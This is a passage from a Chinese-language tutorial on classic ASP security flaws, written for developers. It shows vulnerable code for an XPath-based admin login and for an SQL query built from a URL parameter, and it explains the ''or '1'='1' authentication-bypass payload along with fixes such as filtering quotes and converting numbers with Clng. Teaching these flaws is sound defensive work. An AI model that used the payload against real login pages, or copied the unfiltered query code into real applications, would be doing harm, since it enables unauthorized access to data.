- temp = XMLMorntekDocument.selectSingleNode(elementname).text
- If temp <> "" Then
- Session("UserName") = "asp163"
- Response.Write("Welcome , Sysadmin")
- Else
- Response.Redirect("/admin/Login.asp")
- end if
- end function
- ConnectXml("../admin.xml")
- Call SelectXmlNodeText(Request("name"),Request("pass"))
- %>
上述代碼實(shí)現(xiàn)的是一個(gè)后臺(tái)管理驗(yàn)證的功能,admin.xml文件位于站點(diǎn)根目錄之外,無法用Http方式下載。程序?qū)equest對(duì)象獲取來的數(shù)據(jù)沒有經(jīng)過安全過濾,導(dǎo)致了經(jīng)典萬能密碼繞過漏洞。
漏洞利用:
攻擊者提交Name和Pass都是“’or ’1′=’1”時(shí)候,XML查詢節(jié)點(diǎn)就變成 “//root/row[name=''or '1'='1' and password=''or '1'='1']” OR語句 發(fā)揮了重大作用,只要一個(gè)條件為真就可以滿足繞過的條件。
漏洞修復(fù):和SQL注射一樣,需要對(duì)客戶端提交過來的數(shù)據(jù)進(jìn)行過濾,在本案例中可以過濾掉單引號(hào)即可。#p#
十三.SQL注射(SQL Injection)
概述:目前沒有對(duì)SQL注入技術(shù)的標(biāo)準(zhǔn)定義,微軟中國技術(shù)中心從2個(gè)方面進(jìn)行了描述:
(1) 腳本注入式的攻擊
(2) 惡意用戶輸入用來影響被執(zhí)行的SQL腳本
SQL注入攻擊利用的是SQL語法,這使得這種攻擊具有廣泛性。理論上說,對(duì)于所有基于SQL語言標(biāo)準(zhǔn)的數(shù)據(jù)庫軟件包括SQL Server,Oracle,MySQL, ACCESS,DB2,Informix等以及與之連接的網(wǎng)絡(luò)應(yīng)用程序包括Active/Java Server Pages, PHP或Perl等都是有效的。當(dāng)然各種軟件有自身的特點(diǎn),實(shí)際的攻擊代碼可能不盡相同。
漏洞原理: 通過客戶端發(fā)送SQL語句,可以查詢,更新,刪除 數(shù)據(jù)庫中的數(shù)據(jù),此漏洞是ASP下最為流行的漏洞。攻擊者可以通過GET,POST,COOKIE,SERVER提交任意數(shù)據(jù),若數(shù)據(jù)庫是SQL Server數(shù)據(jù)庫,則漏洞危害性更大。
漏洞代碼:
- <%
- Set rs = Server.CreateObject("ADODB.RecordSet")
- sqlString="SELECT * FROM News WHERE Id=" & Request.QueryString("id")
- rs.Open sqlString, Conn, 1, 1
- %>
漏洞利用:
漏洞修復(fù):對(duì)獲取的數(shù)字型變量用Clng函數(shù)轉(zhuǎn)換,對(duì)于字符型用Replace函數(shù)過濾單引號(hào)。
0×03 總結(jié):
ASP經(jīng)過這么多年還能屹立不倒,除了本身易學(xué)易用性之外,還有搭配的ACCESS數(shù)據(jù)庫方便移植的特性,讓很多程序員在選擇為中小網(wǎng)站做開發(fā)的時(shí)候首選ASP。掌握這些ASP漏洞對(duì)于開發(fā)者來說是相當(dāng)有必要的,只有這樣才能寫出更強(qiáng)大安全的應(yīng)用程序,才能促進(jìn)整個(gè)互聯(lián)網(wǎng)的安全與開放。